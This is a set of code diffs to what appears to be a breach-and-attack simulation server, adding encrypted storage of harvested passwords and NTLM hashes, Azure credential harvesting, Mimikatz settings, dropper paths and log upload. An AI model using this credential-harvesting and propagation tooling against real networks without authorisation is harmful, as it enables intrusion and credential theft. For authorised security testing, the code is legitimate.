self.log("Exception raised while running: %s" % e)
self.update_job_state("error")
return False
if res:
self.log("Done job startup")
self.update_job_state("running")
else:
self.log("Job startup error")
self.update_job_state("error")
return res
def get_results(self):
self.log("Trying to get results")
res = []
try:
res = self._job.get_results()
except Exception, e:
self.log("Exception raised while getting results: %s" % e)
return False
self._log_resutls(res)
return True
def stop(self):
self.log("Trying to stop...")
res = None
try:
res = self._job.stop()
except Exception, e:
self.log("Exception raised while running: %s" % e)
self.update_job_state("error")
return False
if res:
self.log("Done stop job")
self.update_job_state("ended")
else:
self.log("Job stopping error")
self.update_job_state("error")
return res
@celery.task
def run_task(jobid):
acquire_task = mongo.db.job.update({"_id": jobid, "state": "pending"}, {"$set": {"state": "processing"}})
if acquire_task["nModified"] != 1:
return False
job_info = mongo.db.job.find_one({"_id": jobid})
if not job_info:
return False
job_exec = None
try:
job_exec = JobExecution(mongo, job_info)
except Exception, e:
print "init JobExecution exception - ", e
return False
if not job_exec.get_job():
job_exec.update_job_state("error")
return False
if not job_exec.run():
return False
if not job_exec.get_results():
return False
return "done task: " + run_task.request.id
@celery.task
def stop_task(jobid):
acquire_task = mongo.db.job.update({"_id": jobid, "state": "running"}, {"$set": {"state": "stopping"}})
if acquire_task["nModified"] != 1:
print "could not acquire lock on job"
return False
job_info = mongo.db.job.find_one({"_id": jobid})
if not job_info:
print "could not get job info"
return False
job_exec = None
try:
job_exec = JobExecution(mongo, job_info)
except Exception, e:
print "init JobExecution exception - ", e
return False
if not job_exec.get_job():
job_exec.update_job_state("error")
return False
job_exec.get_results()
if not job_exec.stop():
print "error stopping"
return False
return "done stop_task"
@celery.task
def update_cache(connector):
time.sleep(30)
return "connector: " + repr(connector)

View File

@ -1,45 +0,0 @@
How to install Monkey Business server:
---------------- On Linux ----------------:
1. Create the following directories:
sudo mkdir /var/monkey_business
sudo chmod 777 /var/monkey_business
mkdir -p /var/monkey_business/bin/mongodb
mkdir -p /var/monkey_business/db
mkdir -p /var/monkey_business/cc
2. Install the following packages:
sudo pip install flask
sudo pip install Flask-Pymongo
sudo pip install Flask-Restful
sudo pip install python-dateutil
sudo pip install pyVmomi
sudo pip install celery
sudo pip install -U celery[mongodb]
4. Download MongoDB and extract it to /var/monkey_business/bin/mongodb
for debian64 - https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian71-3.0.7.tgz
for ubuntu64 14.10 - https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1410-clang-3.0.7.tgz
find more at - https://www.mongodb.org/downloads#production
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_business/bin/mongodb
(make sure the content of the mongo folder is in this directory, meaning this path exists:
/var/monkey_business/bin/mongodb/bin)
5. install OpenSSL
sudo apt-get install openssl
6. Generate SSL Certificate, Run create_certificate.sh (located under /linux)
7. Copy monkey business server to /var/monkey_business:
cp -r [monkey_island_source]/cc /var/monkey_business/
How to run:
1. run run.sh
* This performs:
DB startup:
/var/monkey_business/bin/mongodb/bin/mongod --dbpath db --fork --logpath db.log
Jobs worker startup:
nohup celery -A tasks_manager worker --loglevel=info
Main Web Server startup:
nohup python main.py

View File

@ -1,4 +0,0 @@
pyVmomi
celery
celery[mongodb]
tornado

View File

@ -8,11 +8,12 @@ from flask import Flask, send_from_directory, make_response
from werkzeug.exceptions import NotFound from werkzeug.exceptions import NotFound
from cc.auth import init_jwt from cc.auth import init_jwt
from cc.database import mongo from cc.database import mongo, database
from cc.environment.environment import env from cc.environment.environment import env
from cc.resources.client_run import ClientRun from cc.resources.client_run import ClientRun
from cc.resources.edge import Edge from cc.resources.edge import Edge
from cc.resources.local_run import LocalRun from cc.resources.local_run import LocalRun
from cc.resources.log import Log
from cc.resources.monkey import Monkey from cc.resources.monkey import Monkey
from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_configuration import MonkeyConfiguration
from cc.resources.monkey_download import MonkeyDownload from cc.resources.monkey_download import MonkeyDownload
@ -83,6 +84,7 @@ def init_app(mongo_url):
mongo.init_app(app) mongo.init_app(app)
with app.app_context(): with app.app_context():
database.init()
ConfigService.init_config() ConfigService.init_config()
app.add_url_rule('/', 'serve_home', serve_home) app.add_url_rule('/', 'serve_home', serve_home)
@ -101,5 +103,6 @@ def init_app(mongo_url):
api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/')
api.add_resource(Report, '/api/report', '/api/report/') api.add_resource(Report, '/api/report', '/api/report/')
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/')
return app return app

View File

@ -1,5 +1,5 @@
from flask_pymongo import PyMongo import gridfs
from flask_pymongo import MongoClient from flask_pymongo import MongoClient, PyMongo
from pymongo.errors import ServerSelectionTimeoutError from pymongo.errors import ServerSelectionTimeoutError
__author__ = 'Barak' __author__ = 'Barak'
@ -7,6 +7,17 @@ __author__ = 'Barak'
mongo = PyMongo() mongo = PyMongo()
class Database:
def __init__(self):
self.gridfs = None
def init(self):
self.gridfs = gridfs.GridFS(mongo.db)
database = Database()
def is_db_server_up(mongo_url): def is_db_server_up(mongo_url):
client = MongoClient(mongo_url, serverSelectionTimeoutMS=100) client = MongoClient(mongo_url, serverSelectionTimeoutMS=100)
try: try:

View File

@ -0,0 +1,51 @@
import base64
import os
from Crypto import Random
from Crypto.Cipher import AES
__author__ = "itay.mizeretz"
class Encryptor:
_BLOCK_SIZE = 32
_DB_PASSWORD_FILENAME = "mongo_key.bin"
def __init__(self):
self._load_key()
def _init_key(self):
self._cipher_key = Random.new().read(self._BLOCK_SIZE)
with open(self._DB_PASSWORD_FILENAME, 'wb') as f:
f.write(self._cipher_key)
def _load_existing_key(self):
with open(self._DB_PASSWORD_FILENAME, 'rb') as f:
self._cipher_key = f.read()
def _load_key(self):
if os.path.exists(self._DB_PASSWORD_FILENAME):
self._load_existing_key()
else:
self._init_key()
def _pad(self, message):
return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr(
self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE))
def _unpad(self, message):
return message[0:-ord(message[len(message) - 1])]
def enc(self, message):
cipher_iv = Random.new().read(AES.block_size)
cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv)
return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message)))
def dec(self, enc_message):
enc_message = base64.b64decode(enc_message)
cipher_iv = enc_message[0:AES.block_size]
cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv)
return self._unpad(cipher.decrypt(enc_message[AES.block_size:]))
encryptor = Encryptor()

View File

@ -0,0 +1,34 @@
import json
import flask_restful
from bson import ObjectId
from flask import request
from cc.auth import jwt_required
from cc.database import mongo
from cc.services.log import LogService
from cc.services.node import NodeService
__author__ = "itay.mizeretz"
class Log(flask_restful.Resource):
@jwt_required()
def get(self):
monkey_id = request.args.get('id')
exists_monkey_id = request.args.get('exists')
if monkey_id:
return LogService.get_log_by_monkey_id(ObjectId(monkey_id))
else:
return LogService.log_exists(ObjectId(exists_monkey_id))
# Used by monkey. can't secure.
def post(self):
telemetry_json = json.loads(request.data)
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])['_id']
# This shouldn't contain any unicode characters. this'll take 2 time less space.
log_data = str(telemetry_json['log'])
log_id = LogService.add_log(monkey_id, log_data)
return mongo.db.log.find_one_or_404({"_id": log_id})

View File

@ -24,6 +24,7 @@ class Monkey(flask_restful.Resource):
if guid: if guid:
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config'])
return monkey_json return monkey_json
return {} return {}
@ -65,7 +66,8 @@ class Monkey(flask_restful.Resource):
# if new monkey telem, change config according to "new monkeys" config. # if new monkey telem, change config according to "new monkeys" config.
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
if not db_monkey: if not db_monkey:
new_config = ConfigService.get_flat_config() # we pull it encrypted because we then decrypt it for the monkey in get
new_config = ConfigService.get_flat_config(False, False)
monkey_json['config'] = monkey_json.get('config', {}) monkey_json['config'] = monkey_json.get('config', {})
monkey_json['config'].update(new_config) monkey_json['config'].update(new_config)
else: else:

View File

@ -12,7 +12,7 @@ __author__ = 'Barak'
class MonkeyConfiguration(flask_restful.Resource): class MonkeyConfiguration(flask_restful.Resource):
@jwt_required() @jwt_required()
def get(self): def get(self):
return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config()) return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config(False, True))
@jwt_required() @jwt_required()
def post(self): def post(self):
@ -20,5 +20,5 @@ class MonkeyConfiguration(flask_restful.Resource):
if config_json.has_key('reset'): if config_json.has_key('reset'):
ConfigService.reset_config() ConfigService.reset_config()
else: else:
ConfigService.update_config(config_json) ConfigService.update_config(config_json, should_encrypt=True)
return self.get() return self.get()

View File

@ -15,7 +15,6 @@ __author__ = 'Barak'
class Root(flask_restful.Resource): class Root(flask_restful.Resource):
@jwt_required()
def get(self, action=None): def get(self, action=None):
if not action: if not action:
action = request.args.get('action') action = request.args.get('action')
@ -26,21 +25,27 @@ class Root(flask_restful.Resource):
return Root.reset_db() return Root.reset_db()
elif action == "killall": elif action == "killall":
return Root.kill_all() return Root.kill_all()
elif action == "is-up":
return {'is-up': True}
else: else:
return make_response(400, {'error': 'unknown action'}) return make_response(400, {'error': 'unknown action'})
@staticmethod @staticmethod
@jwt_required()
def get_server_info(): def get_server_info():
return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db), return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
completed_steps=Root.get_completed_steps()) completed_steps=Root.get_completed_steps())
@staticmethod @staticmethod
@jwt_required()
def reset_db(): def reset_db():
[mongo.db[x].drop() for x in ['config', 'monkey', 'telemetry', 'node', 'edge', 'report']] # We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config() ConfigService.init_config()
return jsonify(status='OK') return jsonify(status='OK')
@staticmethod @staticmethod
@jwt_required()
def kill_all(): def kill_all():
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
upsert=False, upsert=False,
@ -48,8 +53,12 @@ class Root(flask_restful.Resource):
return jsonify(status='OK') return jsonify(status='OK')
@staticmethod @staticmethod
@jwt_required()
def get_completed_steps(): def get_completed_steps():
is_any_exists = NodeService.is_any_monkey_exists() is_any_exists = NodeService.is_any_monkey_exists()
infection_done = NodeService.is_monkey_finished_running() infection_done = NodeService.is_monkey_finished_running()
if not infection_done:
report_done = False
else:
report_done = ReportService.is_report_generated() report_done = ReportService.is_report_generated()
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done)

View File

@ -12,6 +12,7 @@ from cc.database import mongo
from cc.services.config import ConfigService from cc.services.config import ConfigService
from cc.services.edge import EdgeService from cc.services.edge import EdgeService
from cc.services.node import NodeService from cc.services.node import NodeService
from cc.encryptor import encryptor
__author__ = 'Barak' __author__ = 'Barak'
@ -112,6 +113,8 @@ class Telemetry(flask_restful.Resource):
@staticmethod @staticmethod
def process_exploit_telemetry(telemetry_json): def process_exploit_telemetry(telemetry_json):
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
Telemetry.encrypt_exploit_creds(telemetry_json)
new_exploit = copy.deepcopy(telemetry_json['data']) new_exploit = copy.deepcopy(telemetry_json['data'])
new_exploit.pop('machine') new_exploit.pop('machine')
@ -166,6 +169,32 @@ class Telemetry(flask_restful.Resource):
def process_system_info_telemetry(telemetry_json): def process_system_info_telemetry(telemetry_json):
if 'credentials' in telemetry_json['data']: if 'credentials' in telemetry_json['data']:
creds = telemetry_json['data']['credentials'] creds = telemetry_json['data']['credentials']
Telemetry.encrypt_system_info_creds(creds)
Telemetry.add_system_info_creds_to_config(creds)
Telemetry.replace_user_dot_with_comma(creds)
@staticmethod
def process_trace_telemetry(telemetry_json):
# Nothing to do
return
@staticmethod
def replace_user_dot_with_comma(creds):
for user in creds:
if -1 != user.find('.'):
new_user = user.replace('.', ',')
creds[new_user] = creds.pop(user)
@staticmethod
def encrypt_system_info_creds(creds):
for user in creds:
for field in ['password', 'lm_hash', 'ntlm_hash']:
if field in creds[user]:
# this encoding is because we might run into passwords which are not pure ASCII
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
@staticmethod
def add_system_info_creds_to_config(creds):
for user in creds: for user in creds:
ConfigService.creds_add_username(user) ConfigService.creds_add_username(user)
if 'password' in creds[user]: if 'password' in creds[user]:
@ -175,15 +204,14 @@ class Telemetry(flask_restful.Resource):
if 'ntlm_hash' in creds[user]: if 'ntlm_hash' in creds[user]:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
for user in creds:
if -1 != user.find('.'):
new_user = user.replace('.', ',')
creds[new_user] = creds.pop(user)
@staticmethod @staticmethod
def process_trace_telemetry(telemetry_json): def encrypt_exploit_creds(telemetry_json):
# Nothing to do attempts = telemetry_json['data']['attempts']
return for i in range(len(attempts)):
for field in ['password', 'lm_hash', 'ntlm_hash']:
credential = attempts[i][field]
if len(credential) > 0:
attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
TELEM_PROCESS_DICT = \ TELEM_PROCESS_DICT = \

View File

@ -1,6 +1,10 @@
from cc.database import mongo import copy
import collections
import functools
from jsonschema import Draft4Validator, validators from jsonschema import Draft4Validator, validators
from cc.database import mongo
from cc.encryptor import encryptor
from cc.environment.environment import env from cc.environment.environment import env
from cc.utils import local_ip_addresses from cc.utils import local_ip_addresses
@ -446,11 +450,19 @@ SCHEMA = {
"default": "/tmp/monkey", "default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine" "description": "Determines where should the dropper place the monkey on a Linux machine"
}, },
"dropper_target_path": { "dropper_target_path_win_32": {
"title": "Dropper target path on Windows", "title": "Dropper target path on Windows (32bit)",
"type": "string", "type": "string",
"default": "C:\\Windows\\monkey.exe", "default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine" "description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
}, },
"dropper_try_move_first": { "dropper_try_move_first": {
"title": "Try to move first", "title": "Try to move first",
@ -489,6 +501,12 @@ SCHEMA = {
"type": "string", "type": "string",
"default": "%temp%\\~df1563.tmp", "default": "%temp%\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows" "description": "The fullpath of the monkey log file on Windows"
},
"send_log_to_server": {
"title": "Send log to server",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey sends its log to the Monkey Island server"
} }
} }
}, },
@ -518,8 +536,8 @@ SCHEMA = {
} }
} }
}, },
"mimikatz": { "systemInfo": {
"title": "Mimikatz", "title": "System collection",
"type": "object", "type": "object",
"properties": { "properties": {
"mimikatz_dll_name": { "mimikatz_dll_name": {
@ -528,6 +546,13 @@ SCHEMA = {
"default": "mk.dll", "default": "mk.dll",
"description": "description":
"Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)" "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
},
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
} }
} }
} }
@ -800,29 +825,56 @@ SCHEMA = {
} }
} }
ENCRYPTED_CONFIG_ARRAYS = \
[
['basic', 'credentials', 'exploit_password_list'],
['internal', 'exploits', 'exploit_lm_hash_list'],
['internal', 'exploits', 'exploit_ntlm_hash_list']
]
class ConfigService: class ConfigService:
default_config = None
def __init__(self): def __init__(self):
pass pass
@staticmethod @staticmethod
def get_config(is_initial_config=False): def get_config(is_initial_config=False, should_decrypt=True):
"""
Gets the entire global config.
:param is_initial_config: If True, the initial config will be returned instead of the current config.
:param should_decrypt: If True, all config values which are set as encrypted will be decrypted.
:return: The entire global config.
"""
config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}) or {} config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}) or {}
for field in ('name', '_id'): for field in ('name', '_id'):
config.pop(field, None) config.pop(field, None)
if should_decrypt and len(config) > 0:
ConfigService.decrypt_config(config)
return config return config
@staticmethod @staticmethod
def get_config_value(config_key_as_arr, is_initial_config=False): def get_config_value(config_key_as_arr, is_initial_config=False, should_decrypt=True):
config_key = reduce(lambda x, y: x+'.'+y, config_key_as_arr) """
Get a specific config value.
:param config_key_as_arr: The config key as an array. e.g. ['basic', 'credentials', 'exploit_password_list'].
:param is_initial_config: If True, returns the value of the initial config instead of the current config.
:param should_decrypt: If True, the value of the config key will be decrypted
(if it's in the list of encrypted config values).
:return: The value of the requested config key.
"""
config_key = functools.reduce(lambda x, y: x + '.' + y, config_key_as_arr)
config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1}) config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1})
for config_key_part in config_key_as_arr: for config_key_part in config_key_as_arr:
config = config[config_key_part] config = config[config_key_part]
if should_decrypt and (config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS):
config = [encryptor.dec(x) for x in config]
return config return config
@staticmethod @staticmethod
def get_flat_config(is_initial_config=False): def get_flat_config(is_initial_config=False, should_decrypt=True):
config_json = ConfigService.get_config(is_initial_config) config_json = ConfigService.get_config(is_initial_config, should_decrypt)
flat_config_json = {} flat_config_json = {}
for i in config_json: for i in config_json:
for j in config_json[i]: for j in config_json[i]:
@ -866,27 +918,38 @@ class ConfigService:
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
@staticmethod @staticmethod
def update_config(config_json): def update_config(config_json, should_encrypt):
if should_encrypt:
ConfigService.encrypt_config(config_json)
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
@staticmethod @staticmethod
def get_default_config(): def init_default_config():
if ConfigService.default_config is None:
defaultValidatingDraft4Validator = ConfigService._extend_config_with_default(Draft4Validator) defaultValidatingDraft4Validator = ConfigService._extend_config_with_default(Draft4Validator)
config = {} config = {}
defaultValidatingDraft4Validator(SCHEMA).validate(config) defaultValidatingDraft4Validator(SCHEMA).validate(config)
ConfigService.default_config = config
@staticmethod
def get_default_config(should_encrypt=False):
ConfigService.init_default_config()
config = copy.deepcopy(ConfigService.default_config)
if should_encrypt:
ConfigService.encrypt_config(config)
return config return config
@staticmethod @staticmethod
def init_config(): def init_config():
if ConfigService.get_config() != {}: if ConfigService.get_config(should_decrypt=False) != {}:
return return
ConfigService.reset_config() ConfigService.reset_config()
@staticmethod @staticmethod
def reset_config(): def reset_config():
config = ConfigService.get_default_config() config = ConfigService.get_default_config(True)
ConfigService.set_server_ips_in_config(config) ConfigService.set_server_ips_in_config(config)
ConfigService.update_config(config) ConfigService.update_config(config, should_encrypt=False)
@staticmethod @staticmethod
def set_server_ips_in_config(config): def set_server_ips_in_config(config):
@ -928,3 +991,34 @@ class ConfigService:
return validators.extend( return validators.extend(
validator_class, {"properties": set_defaults}, validator_class, {"properties": set_defaults},
) )
@staticmethod
def decrypt_config(config):
ConfigService._encrypt_or_decrypt_config(config, True)
@staticmethod
def encrypt_config(config):
ConfigService._encrypt_or_decrypt_config(config, False)
@staticmethod
def decrypt_flat_config(flat_config):
"""
Same as decrypt_config but for a flat configuration
"""
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring):
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
else:
flat_config[key] = encryptor.dec(flat_config[key])
return flat_config
@staticmethod
def _encrypt_or_decrypt_config(config, is_decrypt=False):
for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS:
config_arr = config
for config_key_part in config_arr_as_array:
config_arr = config_arr[config_key_part]
for i in range(len(config_arr)):
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])

View File

@ -0,0 +1,48 @@
from datetime import datetime
import cc.services.node
from cc.database import mongo, database
__author__ = "itay.mizeretz"
class LogService:
def __init__(self):
pass
@staticmethod
def get_log_by_monkey_id(monkey_id):
log = mongo.db.log.find_one({'monkey_id': monkey_id})
if log:
log_file = database.gridfs.get(log['file_id'])
monkey_label = cc.services.node.NodeService.get_monkey_label(
cc.services.node.NodeService.get_monkey_by_id(log['monkey_id']))
return \
{
'monkey_label': monkey_label,
'log': log_file.read(),
'timestamp': log['timestamp']
}
@staticmethod
def remove_logs_by_monkey_id(monkey_id):
log = mongo.db.log.find_one({'monkey_id': monkey_id})
if log is not None:
database.gridfs.delete(log['file_id'])
mongo.db.log.delete_one({'monkey_id': monkey_id})
@staticmethod
def add_log(monkey_id, log_data, timestamp=datetime.now()):
LogService.remove_logs_by_monkey_id(monkey_id)
file_id = database.gridfs.put(log_data)
return mongo.db.log.insert(
{
'monkey_id': monkey_id,
'file_id': file_id,
'timestamp': timestamp
}
)
@staticmethod
def log_exists(monkey_id):
return mongo.db.log.find_one({'monkey_id': monkey_id}) is not None

View File

@ -1,9 +1,12 @@
from datetime import datetime, timedelta from datetime import datetime, timedelta
from bson import ObjectId from bson import ObjectId
import cc.services.log
from cc.database import mongo from cc.database import mongo
from cc.services.edge import EdgeService from cc.services.edge import EdgeService
from cc.utils import local_ip_addresses from cc.utils import local_ip_addresses
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
@ -54,6 +57,7 @@ class NodeService:
else: else:
new_node["services"] = [] new_node["services"] = []
new_node['has_log'] = cc.services.log.LogService.log_exists(ObjectId(node_id))
return new_node return new_node
@staticmethod @staticmethod
@ -241,7 +245,7 @@ class NodeService:
@staticmethod @staticmethod
def get_monkey_island_pseudo_net_node(): def get_monkey_island_pseudo_net_node():
return\ return \
{ {
"id": NodeService.get_monkey_island_pseudo_id(), "id": NodeService.get_monkey_island_pseudo_id(),
"label": "MonkeyIsland", "label": "MonkeyIsland",

View File

@ -8,7 +8,7 @@ from cc.services.config import ConfigService
from cc.services.edge import EdgeService from cc.services.edge import EdgeService
from cc.services.node import NodeService from cc.services.node import NodeService
from cc.utils import local_ip_addresses, get_subnets from cc.utils import local_ip_addresses, get_subnets
from common.network.range import NetworkRange from common.network.network_range import NetworkRange
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
@ -36,6 +36,7 @@ class ReportService:
SAMBACRY = 3 SAMBACRY = 3
SHELLSHOCK = 4 SHELLSHOCK = 4
CONFICKER = 5 CONFICKER = 5
AZURE = 6
class WARNINGS_DICT(Enum): class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0 CROSS_SEGMENT = 0
@ -74,6 +75,19 @@ class ReportService:
} }
for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})] for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})]
@staticmethod
def get_azure_issues():
creds = ReportService.get_azure_creds()
machines = set([instance['origin'] for instance in creds])
return [
{
'type': 'azure_password',
'machine': machine,
'users': set([instance['username'] for instance in creds if instance['origin'] == machine])
}
for machine in machines]
@staticmethod @staticmethod
def get_scanned(): def get_scanned():
nodes = \ nodes = \
@ -138,6 +152,26 @@ class ReportService:
) )
return creds return creds
@staticmethod
def get_azure_creds():
"""
Recover all credentials marked as being from an Azure machine
:return: List of credentials.
"""
creds = []
for telem in mongo.db.telemetry.find(
{'telem_type': 'system_info_collection', 'data.Azure': {'$exists': True}},
{'data.Azure': 1, 'monkey_guid': 1}
):
azure_users = telem['data']['Azure']['usernames']
if len(azure_users) == 0:
continue
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
'origin': origin} for user in azure_users]
creds.extend(azure_leaked_users)
return creds
@staticmethod @staticmethod
def process_general_exploit(exploit): def process_general_exploit(exploit):
ip_addr = exploit['data']['machine']['ip_addr'] ip_addr = exploit['data']['machine']['ip_addr']
@ -350,7 +384,7 @@ class ReportService:
@staticmethod @staticmethod
def get_issues(): def get_issues():
issues = ReportService.get_exploits() + ReportService.get_tunnels() \ issues = ReportService.get_exploits() + ReportService.get_tunnels() \
+ ReportService.get_island_cross_segment_issues() + ReportService.get_island_cross_segment_issues() + ReportService.get_azure_issues()
issues_dict = {} issues_dict = {}
for issue in issues: for issue in issues:
machine = issue['machine'] machine = issue['machine']
@ -366,19 +400,19 @@ class ReportService:
@staticmethod @staticmethod
def get_config_users(): def get_config_users():
return ConfigService.get_config_value(['basic', 'credentials', 'exploit_user_list'], True) return ConfigService.get_config_value(['basic', 'credentials', 'exploit_user_list'], True, True)
@staticmethod @staticmethod
def get_config_passwords(): def get_config_passwords():
return ConfigService.get_config_value(['basic', 'credentials', 'exploit_password_list'], True) return ConfigService.get_config_value(['basic', 'credentials', 'exploit_password_list'], True, True)
@staticmethod @staticmethod
def get_config_exploits(): def get_config_exploits():
exploits_config_value = ['exploits', 'general', 'exploiter_classes'] exploits_config_value = ['exploits', 'general', 'exploiter_classes']
default_exploits = ConfigService.get_default_config() default_exploits = ConfigService.get_default_config(False)
for namespace in exploits_config_value: for namespace in exploits_config_value:
default_exploits = default_exploits[namespace] default_exploits = default_exploits[namespace]
exploits = ConfigService.get_config_value(exploits_config_value, True) exploits = ConfigService.get_config_value(exploits_config_value, True, True)
if exploits == default_exploits: if exploits == default_exploits:
return ['default'] return ['default']
@ -388,15 +422,15 @@ class ReportService:
@staticmethod @staticmethod
def get_config_ips(): def get_config_ips():
return ConfigService.get_config_value(['basic_network', 'general', 'subnet_scan_list'], True) return ConfigService.get_config_value(['basic_network', 'general', 'subnet_scan_list'], True, True)
@staticmethod @staticmethod
def get_config_scan(): def get_config_scan():
return ConfigService.get_config_value(['basic_network', 'general', 'local_network_scan'], True) return ConfigService.get_config_value(['basic_network', 'general', 'local_network_scan'], True, True)
@staticmethod @staticmethod
def get_issues_overview(issues, config_users, config_passwords): def get_issues_overview(issues, config_users, config_passwords):
issues_byte_array = [False] * 6 issues_byte_array = [False] * len(ReportService.ISSUES_DICT)
for machine in issues: for machine in issues:
for issue in issues[machine]: for issue in issues[machine]:
@ -408,6 +442,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
elif issue['type'] == 'conficker': elif issue['type'] == 'conficker':
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
elif issue['type'] == 'azure_password':
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users: issue['username'] in config_users:
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
@ -473,7 +509,8 @@ class ReportService:
{ {
'scanned': ReportService.get_scanned(), 'scanned': ReportService.get_scanned(),
'exploited': ReportService.get_exploited(), 'exploited': ReportService.get_exploited(),
'stolen_creds': ReportService.get_stolen_creds() 'stolen_creds': ReportService.get_stolen_creds(),
'azure_passwords': ReportService.get_azure_creds(),
}, },
'recommendations': 'recommendations':
{ {

View File

@ -12,13 +12,6 @@ module.exports = {
devtool: 'eval', devtool: 'eval',
module: { module: {
preLoaders: [ preLoaders: [
{
test: /\.(js|jsx)$/,
loader: 'isparta-instrumenter-loader',
include: [
path.join(__dirname, '/../src')
]
}
], ],
loaders: [ loaders: [
{ {

File diff suppressed because it is too large Load Diff

View File

@ -38,23 +38,22 @@
"eslint-plugin-react": "^6.0.0", "eslint-plugin-react": "^6.0.0",
"file-loader": "^0.9.0", "file-loader": "^0.9.0",
"glob": "^7.0.0", "glob": "^7.0.0",
"isparta-instrumenter-loader": "^1.0.0",
"karma": "^1.7.1", "karma": "^1.7.1",
"karma-chai": "^0.1.0", "karma-chai": "^0.1.0",
"karma-coverage": "^1.0.0", "karma-coverage": "^1.0.0",
"karma-mocha": "^1.0.0", "karma-mocha": "^1.0.0",
"karma-mocha-reporter": "^2.2.4", "karma-mocha-reporter": "^2.2.5",
"karma-phantomjs-launcher": "^1.0.0", "karma-phantomjs-launcher": "^1.0.0",
"karma-sourcemap-loader": "^0.3.5", "karma-sourcemap-loader": "^0.3.5",
"karma-webpack": "^1.7.0", "karma-webpack": "^1.7.0",
"minimist": "^1.2.0", "minimist": "^1.2.0",
"mocha": "^3.0.0", "mocha": "^3.5.3",
